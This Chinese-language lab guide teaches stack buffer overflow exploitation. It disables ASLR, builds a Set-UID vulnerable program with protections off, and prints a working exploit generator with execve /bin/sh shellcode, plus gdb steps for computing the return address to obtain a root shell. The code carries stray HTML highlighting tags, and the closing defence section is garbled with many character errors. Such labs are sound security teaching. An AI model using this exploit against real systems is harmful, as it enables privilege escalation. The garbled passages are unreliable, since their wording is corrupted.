实验指导书内容
一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
二、实验准备
系统用户名 shiyanlou
实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。
输入命令安装一些用于编译 32 位 C 程序的软件包：
三、实验步骤
3.1初始化设置
1、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：sudo sysctl -w kernel.randomize_va_space=0
3.1.2 此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。
linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：
3、输入命令 linux32 进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入 /bin/bash 使用bash：
3.2shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
观察以下代码：
3.3漏洞程序
1.在 /tmp 目录下新建一个 stack.c 文件：
按 i 键切换到插入模式，再输入如下内容：
（复制代码如果出现缩进混乱可先在 Vim 执行 :set paste 再按 i 键编辑。）、
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置 SET-UID。命令如下：sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
3.4 攻击程序
我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。
在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
<span class="hljs-comment">/* Initialize buffer with 0x90 (NOP instruction) */
<span class="hljs-built_in">memset(&buffer, <span class="hljs-number">0x90, <span class="hljs-number">517);
<span class="hljs-comment">/* You need to fill the buffer with appropriate contents here */
<span class="hljs-built_in">strcpy(buffer,<span class="hljs-string">"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); <span class="hljs-comment">//在buffer特定偏移处起始的四个字节覆盖sellcode地址
<span class="hljs-built_in">strcpy(buffer + <span class="hljs-number">100, shellcode); <span class="hljs-comment">//将shellcode拷贝至buffer，偏移量设为了 100
<span class="hljs-comment">/* Save the contents to the file "badfile" */
badfile = <span class="hljs-built_in">fopen(<span class="hljs-string">"./badfile", <span class="hljs-string">"w");
<span class="hljs-built_in">fwrite(buffer, <span class="hljs-number">517, <span class="hljs-number">1, badfile);
<span class="hljs-built_in">fclose(badfile);
}
或者也可以直接下载代码：
wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：
gdb stack disass main
esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。
接下来的操作：
# 设置断点
b *0x080484ee
r
i r $esp
最后获得的这个 0xffffcfb0 就是 str 的地址。
按 q 键，再按 y 键可退出调试。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014
实际操作中你的地址和我这里的地址可能不一样，需要根据你实际输出的结果来计算。
可以使用 十六进制加法计算器 计算。
现在修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff，注意顺序是反的。
先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：
whoami 是输入的命令，不是输出结果。
可见，通过攻击，获得了root 权限！
缓冲区溢出的原理
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。
通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。
缓冲区溢出的防范
1) 编译保护
因为缓中区溢出的通常都会改写函数返回地址，这里可以产生一个怕放在返回地址之前，假如当函数返回时候发现这个但被修改，就证明有可能被进行缓中区溢出攻击，程序在记录到此修改之后立即响应，发送较告给管理员，并目立即终止进程,
另一种方法是创建一个堆栈来存储函数返回地址，并且在受保护的函数开头和结尾部分增加一段代码，开头处的代码用来将函数返回地址拷贝到一个特殊的表中，而结尾处的代码用来将返回地址从表中拷贝回堆栈司此风教执行流程不会改变，将总是正确返回到主调风数中，当调用一个地址在非文本段内的风教指针时将终止函数的执行
2) 库函数链接保护
使用特殊的CPP (gcc预编译程序)宏取代原有时*printf0的参数统计方式，比较传递给*printf的参数的个影和格式串的个数，如果格式串的个数大于实际参数的个数，就判定为攻击行为，向管理员发送消息并终止进程
3] 不可执行的钱和数据段
去掉堆钱和数据段的执行权眼，例如跟踪一个应用程序所包含的可执行映像的最大虚拟地址，动态的维护这个“可执行虚拟地址的最大值”，每次发生进程切换的时候调度进程动态的跟踪每个应用程序，所以每个程序运行时都有不同的“可执行虚拟地址的最大值”，因为可执行限界通常是个很低的虚拟地址，所以除了st;ck以外mmap0映射的区域以及malloc0分配的空间都处在可执行限界之上，因此都是不可执行的。除以上三种防御手段之外，很多防御软件针对于缓中区溢出攻击特别设计了增强的缓中区溢出保护方式及内核MAC，例如使用strlcpy0和strlcat0函数替换原有的危险函数、内存保护如mmap0随机映射、malloc0随机映射、特权分离、特权回收、基于x86段式内存管理的数据段不可执行、基于员式内存管理的数据段的页不可执行、内核页只读等，并且，现阶段出现的硬件级别的保护可以大大增加缓中区港出的防护。
